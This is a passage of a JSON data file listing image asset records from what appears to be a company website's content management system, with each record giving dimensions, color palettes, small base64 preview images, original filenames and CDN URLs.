892aa477b-24x24.svg"} {"_createdAt":"2024-08-23T08:06:49Z","_id":"image-0f70a5b9c1a9217b672f003537098db10e75ca30-1226x1394-png","_rev":"Y0UAcXdiCLXOzJ7kWYZr4U","_type":"sanity.imageAsset","_updatedAt":"2024-08-23T08:06:49Z","assetId":"0f70a5b9c1a9217b672f003537098db10e75ca30","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eELqIcrq9]_N0000xu-VWBtm00.8?HIAt2rv?GS3Ip-n9ES%IoaJ-=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8794835007173601,"height":1394,"width":1226},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323560","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4a404","foreground":"#000","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#646696","foreground":"#fff","population":0.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfc4a7","foreground":"#000","population":0.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#68e6fc","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646696","foreground":"#fff","population":0.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#13acdb","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-query-to-AI-response-with-dragonscale.png","path":"images/sczeoy4w/production/0f70a5b9c1a9217b672f003537098db10e75ca30-1226x1394.png","sha1hash":"0f70a5b9c1a9217b672f003537098db10e75ca30","size":131350,"uploadId":"5rxxYkmMFdbA8QpwkqzHidLWvbDLd2YY","url":"https://cdn.sanity.io/images/sczeoy4w/production/0f70a5b9c1a9217b672f003537098db10e75ca30-1226x1394.png"} {"_createdAt":"2024-03-19T15:39:07Z","_id":"image-a14ac49b859439c48bae6597d7ad09d49bea9e0c-2000x747-png","_rev":"PjhTiFLESFHgz5EjC9LiNZ","_type":"sanity.imageAsset","_updatedAt":"2024-03-19T15:39:07Z","assetId":"a14ac49b859439c48bae6597d7ad09d49bea9e0c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DhH2crof00WB~qt7fQRjayj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.677376171352075,"height":747,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA4ElEQVQokY2RwWrDMBBE02tPLaH5p+bQ/8kx/o5Cj6VfVQq2clBBlhU7Wlk7U9TGxoc2zcKwYmd4DGi1WgzJopvz3gCoxjTaoR849D1TSrbcirfM/jnFBDADVbWKUWzXBYYQKJJsuU3AkgVwGaiqE/BBRPbOOVvXDRtj6L23KaV98ZbZa4GbKFI513425kBjDnRta0VkbngVEMB5c62quxil9qGn744sb9W8I7leZi8CJyl4S/IxK15Pkt9Pkj+y4o3kFj/enP23YdGo5XNwp8A2K56z4kWBJxL3+dv7veEXbn4/f2eHeBYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4444","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#504333","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d4c9bc","foreground":"#000","population":0.01,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4c9bc","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cbbdae","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c8484","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9b8163","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"badge-google-cloud-2023-partner-of-the-year-breakthrough-emea.png","path":"images/sczeoy4w/production/a14ac49b859439c48bae6597d7ad09d49bea9e0c-2000x747.png","sha1hash":"a14ac49b859439c48bae6597d7ad09d49bea9e0c","size":33267,"uploadId":"aYDsqVNkhxilcukfE9BZEyPYkU2PqFsL","url":"https://cdn.sanity.io/images/sczeoy4w/production/a14ac49b859439c48bae6597d7ad09d49bea9e0c-2000x747.png"} {"_createdAt":"2024-03-22T13:29:02Z","_id":"image-8a457b66b4c7cd6a1742406ebd7914b5f3dde6a1-716x300-png","_rev":"80Znsvx5FiXC5oBvpW8lVg","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T13:29:02Z","assetId":"8a457b66b4c7cd6a1742406ebd7914b5f3dde6a1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIHf9vThkt0iRQsrn-sqs;s:00-:%L~Bj@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3866666666666667,"height":300,"width":716},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAACJklEQVQokU2ST0iTcRjHn9FpRuSmzaQRYUIHTynSJQq6RQR1CcJaJibUpQ4mXqRDRBbIUrP8EyWEkM53IrhMifBgr1Rza+nG3DTx3+aWTqdbc3t/7/eJ2SYePjyH58PDw/N9aHZQ1bwaFrpHn1On6sYSJxrkTS27vxNznJiZAOzWrZSgxukAGfodVDY8TZaFdfqrqHtOFnKNxovef4pdbB7bvt/2LVptcUXK7b6N3J2kmgNAD+AIgDwB5Hb6Qzqj1Wko/ThVMBLYzOf//TwAhizUaQtWNA4Hza3j4SHJFbHI/mitbzl2WhEoBVABwMTMN2OKuN3uC1Uarc7qkqFfNf0L6zVJod5l5jsZ7waAW3RV8tRX2fxS09eVyVFPRHYvbL9YCScuCBWXAZhVwMzM5q2U6O7whbqMVmdr0eDPlp75tfaEUPuY+Q2AWgAPAdTTyd5J0xWbp/m5vGQb9axLU/NbdYuBeJki1OyGlcxsiimiqsMfqjpmdVYXSA5T99yf65kNKwGczXCejH324msj3kvP5MUHA65wzYQ3csb7O6rfSYr9N8wXKnRd/rC+0OowHOq157+bCx9mcPp+OgBaAGn/IJUPuA7c+zKreyovFr+1B44PucI59qm13fTSqJmUN5IKtc2sUqHkIO2HH9TkCVI8k3LWSUMlNje9ngjS4/ElzRN5WXOOmRp63KRk3iArbyYFtXhX6ajkoDzLJL2cWd17m/0D/wGZDbrwGq2E5gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#24443c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#075364","foreground":"#fff","population":0.72,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#075364","foreground":"#fff","population":0.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6bbd4","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7cbccc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c7cac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#06a6e4","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"knowy.png","path":"images/sczeoy4w/production/8a457b66b4c7cd6a1742406ebd7914b5f3dde6a1-716x300.png","sha1hash":"8a457b66b4c7cd6a1742406ebd7914b5f3dde6a1","size":52430,"uploadId":"YlIXaJeXIqlCO0uChCa9MIMXJKVb0EB0","url":"https://cdn.sanity.io/images/sczeoy4w/production/8a457b66b4c7cd6a1742406ebd7914b5f3dde6a1-716x300.png"} {"_createdAt":"2024-06-04T15:40:07Z","_id":"image-9f8827a0423679cf11f8632a4a7fe973d8d3871a-1200x630-png","_rev":"5Y6vKnaopt6UOraqDjj4Fx","_type":"sanity.imageAsset","_updatedAt":"2024-06-04T15:40:07Z","assetId":"9f8827a0423679cf11f8632a4a7fe973d8d3871a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBBMKC0v#+Ow:|W*O^}h0-xv%2RNJW$i$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADBklEQVQokUXRW0+bBQCA4f4FdQqllJav5/J90BPwlZbSI0UO4igyKK2stKUdPULHQSmHbZy24abOzEPCjTEYSIggOjUmemHUmHgxL+aNURMTr/0Jr8m88A88F++ruKSapFEzTZOQRKW7irJ1lgZNhkZtDqVQRKWvojJcp9m0Qou5jiDtYu3+ALv/DG//GfmJu3xcTfNkZ5R/3oqgaNDEsdhyuDxVnJ4FrI4yerGITqxgkGqYOlaxOOtYXVuYHTcRpB2MjodI3lPk0BkzL9/j/VyO7+sx/twfQNEkJOjqrRJ9aZ3+4Q18kTV8kQ36+m/QG7lFX3SP0NAB4eH7uEMHmOx76G0PEHuOcfo/YST6gM14haNikvPFOIpG7TQdXQU8wSV6Asu4A6tPQV//Dbzhm3jDO3gj+3jCd7C5d9G172C0v42t9wiX/4SQ703KL5bYGU9TG638D7r9NeS+67j9K3hDdTyhTWT/Fo6eTdrlTdo6txDEDbRtt5Dkd/BGj4kMHpMKb3E7FON2aIz53tx/DSXXNZw9FaTOEu2dVWzyEjZ5BdG1il5aRmNZRm1+DZVx7ekUOXjIQOyCyalzdseWuRiQOQnJ7PeNonhePYVRymK25RGsWVqteXRiEYNURS/V0FpqaIwLGK0LWMQl2l17BIaOiL36DTPpb6lfOeCjwWE+jERY98+geFY5QbMuidaUosU4i8Y0h2AtoBcrCNZFBMsi3Y4C8XCG/FCGxMg645MnJHM/Mlv4mempT7kavU8qfIeRwHsonnlhjJbmcXT6BK3mNC3GLEZxHktHGbWxjMZQYsSb4Y3kFU7Llzksl6gVTsgv/MK12hMuJ77DHXlEV/ARzuAXKC41jKFTx7CYkhjEObSmLGYxR1vHPGpDAbW+xKgvy+FcjMdbA/ywneXu2im1+m8s1v9gIvUT3f1fYQ98id3/OYrnlK/Q2DxBkyZOkzCDsjWFSkij1udQ6YqoDVUCcoGHmUl+34/y670s725fUN/+i9e3/yaRf4x38Gucwc9w+M/5F4w6tkNlnVZ+AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4278","foreground":"#fff","population":1.83,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041481","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c4278","foreground":"#fff","population":1.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5aad4","foreground":"#000","population":1.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f89e43","foreground":"#000","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5caf","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e04d11","foreground":"#fff","population":1.23,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AWSNYWEB.png","path":"images/sczeoy4w/production/9f8827a0423679cf11f8632a4a7fe973d8d3871a-1200x630.png","sha1hash":"9f8827a0423679cf11f8632a4a7fe973d8d3871a","size":254171,"uploadId":"AbH5vlUtBIeIUF5tqtFxFDgMKhOVYpJA","url":"https://cdn.sanity.io/images/sczeoy4w/production/9f8827a0423679cf11f8632a4a7fe973d8d3871a-1200x630.png"} {"_createdAt":"2024-09-16T17:14:50Z","_id":"image-5087e0a1c51ac0f28e5a29515a586a9bc94d1133-24x24-svg","_rev":"2eqiUp79DxBCItwrHvS5G7","_type":"sanity.imageAsset","_updatedAt":"2024-09-16T17:14:50Z","assetId":"5087e0a1c51ac0f28e5a29515a586a9bc94d1133","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e04xlDfQ-;xuRjIUayxut7IUM{t7IUayWB_3t7D%WB-;00oft7Rj%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACRklEQVQ4jX2Vz0tUURTH3zimoobVImjjxk2N+D5fYXYxi9kIbi1bOCG0qNAJorBNFBkR5MZNm7auIoRahQXqWNKi/oN+/DHxHc8dXq+HD77cO+ec7/fee+65Z7L5+fksAcgk9cfyvArJL2mArNVqZY1Gw44zwKSk80Afnleh6AcmzZ2bm8uazWaWeQJMAE3gtqSnwHNJpyJinpgT3Ik8zzOL1Tj5Xknal/RFUg84klQJ+4CeY4F9c0OjZsEh4AbwGdiRdAtYAq5LulaF8C05VtJOcK0xZME6cBf4CjwApmZnZ51gL/Qfkt2XKGlK0sPgWqOeBNfDuAaMVt1eQul2RyWtBdcadRvrktYlHcc4FmVRO0Ww7wMcW+T+s8PjGMcSeXp6Oit/7Xa7WIdjFipwTwTTDoGupPFYfSgqoFzQtcilBceD099h1ZGdjxETXVPGwsJCOmLN82QP8RFzykceBu4B34ANSZd808CFPM/P5nk+nFLguW32OSZiN4LbtZYDL0ralPQL2JP0EtgMeKE2MBNoh63vj9g9ST8lPbOWd9gC3gF/gO/AYeAoxl3gTWC35DsEfgC/gbfAVQsuh+M9cMe/JbnqV4EXIfIpsBu21YhZDo65B35BFlwEPoSxWxBcAe4DW8DrwFbYVgqC3eBaY9GJdm4eAR/94GOlQ0npSL0Sir6DsJlrjRkLukyuADeBx25Lpfbl5BcxaF8Bc8y97DLKOp1Oei3uiedKzbMSJZ855ta3t7f7/XCAQsGe2v6LvlTo6S/gL7pkUQohWOpzAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":14.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":14.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"laptop-01.svg","path":"images/sczeoy4w/production/5087e0a1c51ac0f28e5a29515a586a9bc94d1133-24x24.svg","sha1hash":"5087e0a1c51ac0f28e5a29515a586a9bc94d1133","size":1418,"uploadId":"Qy83rKUGDhI3oBwrpzYatt2UWRRXgL3P","url":"https://cdn.sanity.io/images/sczeoy4w/production/5087e0a1c51ac0f28e5a29515a586a9bc94d1133-24x24.svg"} {"_createdAt":"2024-10-08T07:51:02Z","_id":"image-6485eb0bcddccfabfcd2ad00a5dfc984b331222e-120x120-png","_rev":"Tpe1Rj6o9fDmGqbWvkdNDS","_type":"sanity.imageAsset","_updatedAt":"2024-10-08T07:51:02Z","assetId":"6485eb0bcddccfabfcd2ad00a5dfc984b331222e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGRMC]xCD4x]Q,-p~qR*~Wt7HqRj01oeEN9a~W%2v|oIH=ozEOWBo~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":120,"width":120},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD00lEQVQ4jX2UTW/iVhSGnT8xmlE3VVftpqvuumpVKbNof0I3+QPdVNFIrdRF50+06namGmmaCZCEQCBk8gXhOxAggfA5fDnYgMHYxviet7rXENGq6pVe3+tjePz6nHOvRPGfgMoroOEF6rtA3QOq7wrxNRoed67vEjU8hNpfDMXfioj++AN8Xz/F/jcS5JiEnS8kim5LEoeRVgVZI5ChgEwVsIZCfP0oSyVYKpGpELTKBE1fEMlfvsfB5hO8/XwDgIBKaPgEzJw7UNQR5MEQ6kiDOtQgD1QMRxps2wEfBBAX2AI0bU3Q3BNQOnjuQuUYB3rADAXyg4KLaByB0AlCx6cIR84QPjlHKpPDcDQGERHH0WowmzBtTai5FyTh9PkT+Dc50AtnNkCz1UHg6Bg73kPseAPwHIQQDJ3g4vIScr8HIkbcpMvlRnnIpnWn8H31VACZMcBI6aFaiKNSSKJ6e41aOY/mbRKt4immD1UQs8VXrzsVWWCuUzR9R7xQAkimAmaNsRjksehewumew+leivWinwCbfhDAlcXlWPv8BUi7n6D4e1Ei3haWCpADWAqg3QNqHhjeAJO6+8wx3ZKsSuNe3AAtnZoKUW2HiaIQbxEeZQ7E2xzLFVuAMQbGSMxLV0Ls0R1zq28NCQ0vLXOoYKzpaHd66MkD0S4PgyE63b4Qj6/W3Z6MXl9ezg/U7nRpNJ7CMRRCwyOAZE9lKpVrCIbfUzhyTsHwqWiZ/cMwQpEznEcTuIglweOe/SD8RxERPzmLit/kCneYT/pitwngfCpTpdYk3oenF1d0EDimPX8IvoOQ+BPvxXT2BqHIOd6+28fuXgCB0HvxzB88FkDrEVh/R8wYkD4zaTQekzoc4b7WoHgqS/FkFtf5Ekq3FdyWq8jdlHCVzCCWSCOVyYv7/E0JrXZvzWHpjzJpVZ0XZNUVY22C0l2FkukcxRIZxFPXyOQKSGXziKeyAhiNp3GVyCBzfYNmuwdT67lAir3YRssfIb2tE1uIItq2TeOxhtaHDmVzBe4WidT1EpTC5ZWrWDyNdDaPVru/5nB/8yNKvdyi1uEjdOXUMExeWeIpuCtXUSiVhYp3bgruKjVU7muiK2z9YQl89bEE/7fPKPXrFtagosUch+bzOUzTJMMwoOu60GxmgN9zzWY6LMsW25f3tESTpoQ3n22Q/7tn+AfUzenaFvn/MR+BH4USdr+UxOH45tMN1+nLLZFTraaTqYodIOb1w/bfssYgrQaqvIaEhSERh04aEl5/4ub06sW2qL449n1EDS+f8d/ygpp7oMqfQPxn/A1PWoUTpR8zNgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363c3c","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#63430f","foreground":"#fff","population":0.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f59c10","foreground":"#000","population":6.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcd0dc","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fad65c","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa8450","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f59c10","foreground":"#000","population":6.56,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"retail competency badge dark.png","path":"images/sczeoy4w/production/6485eb0bcddccfabfcd2ad00a5dfc984b331222e-120x120.png","sha1hash":"6485eb0bcddccfabfcd2ad00a5dfc984b331222e","size":6613,"uploadId":"p18oOY5XG8bLX7JH6ofadqXBeyuhwgG8","url":"https://cdn.sanity.io/images/sczeoy4w/production/6485eb0bcddccfabfcd2ad00a5dfc984b331222e-120x120.png"} {"_createdAt":"2024-10-02T17:15:05Z","_id":"image-bd24062db14517ccfb8a1afe01468387818d49d3-1968x1140-png","_rev":"TGMOqzg55cVsXDO0aRLwZf","_type":"sanity.imageAsset","_updatedAt":"2024-10-02T17:15:05Z","assetId":"bd24062db14517ccfb8a1afe01468387818d49d3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9RC=5xuF{%MvzS_ay9FWAxtT}bbvLniPA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7263157894736842,"height":1140,"width":1968},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAACZklEQVQokUWSW2/bRhCF+bcLBCjQFkjz0Lf+gBYI2rpBkMRxXTdN0sJOg1xUIU5t52ZLtkRR2l2SeyVF0rK+YKmgeZjFYGfmzJmDk4ynmptb+3zx5Y98/e0WD/8+QpUNvgZlWqYyIIqAcTUutLiw6muZCGzvDvjq+s98c2OLvYeH5LolEXnFYHjKzu/PefBoyNv3Gdpd4qo1adFwkhomQmOtJ1QNrlr1tcK0vD46Z3fvGXsPXnDyLsX4SxJfrbBuSVFYtPa40OGrNa66Ii1rTuY5E6mw1lLVDb7aLPP1FcbWCFGglMb5tv9LrF8hVGA6kcxmJYWOLCLgmtxoMjlCqBTzP+CGoQtXqKJmNivIMk3+aS6Zy4qDp2/59dY+d7ef8fo4pTRdz1Crgnz8gWJ2gdMldVXjfYt1HTKv+PfVOds7z9nZfcnhUdpLlcxlYP+fY37aesztu084/O8cqQJl7infvKf48w/M43ssX/xGe/wUO52wmJc9s8HwA7fvHHDnXpy72ABa37EQhrPRjIuLBUpZ8tyhMokbHFD/8h3ND9fobl6ju/899nhIlkqEMAipGY1njMcZeRH6qxJfrwnVJd4vCaHtc2ObnqEdn+EHf+Gf7GxieICZphRFhbGbXueWOFcTqminNUkUUpuGXDnKuMW1PWA8ey4q0tRydioZjxTZPKCKFh019l3fF+diRF2jO5L4REAp46keZxu0rpkLR7qoGacVb05L3o0Mk3nDIu82ToiLdY0UFikdJgJGhr3nQvRiR9TTx9yvKE1Lrjtk2SLyJSJvUGVHYS4x0fhh9XnOdb2NIsOPuo0tkpScLG8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d2a57","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d124b","foreground":"#fff","population":3.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0d124b","foreground":"#fff","population":3.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1c0aa","foreground":"#000","population":0.64,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#99e5f9","foreground":"#000","population":0.09,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5094ac","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6540b","foreground":"#fff","population":1.77,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5a9c78ea-5162-4a41-bd23-ccf69fb5898c.png","path":"images/sczeoy4w/production/bd24062db14517ccfb8a1afe01468387818d49d3-1968x1140.png","sha1hash":"bd24062db14517ccfb8a1afe01468387818d49d3","size":145058,"uploadId":"IdiMFmhpfZdP4O9lmpD9tNgM9VK8hkhe","url":"https://cdn.sanity.io/images/sczeoy4w/production/bd24062db14517ccfb8a1afe01468387818d49d3-1968x1140.png"} {"_createdAt":"2024-08-30T15:10:25Z","_id":"image-2870213a234c6b41c166ea61fcb0c585508896b6-1200x628-png","_rev":"uoxN7hjTZfWhT8KF32QkKM","_type":"sanity.imageAsset","_updatedAt":"2024-08-30T15:10:25Z","assetId":"2870213a234c6b41c166ea61fcb0c585508896b6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCA]g^0v-9T4+WWkXq}i0*og%3V=J:$g$e","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACsklEQVQokVXQ20+SARjH8fcPKJucgxfUVzzMDDUMCNEMISRhJOQBEUWFkhQJsoNGqZS0TqtWXbRVW2tz09Wq5XJ1UV20WltbdeFVra2L/o5vg3nTxXP72e/7COU7+6kzHcVsT2Nuy7Bn30n2Os5ibptHasiirpxBXZVBU32KncY5xPoljC13aWx7itX5guHATe4mJvkwF+JXwYug0oexOE7g8Z+nO7CAq2cRt+8ibt8yTdZ5xNosGilbArV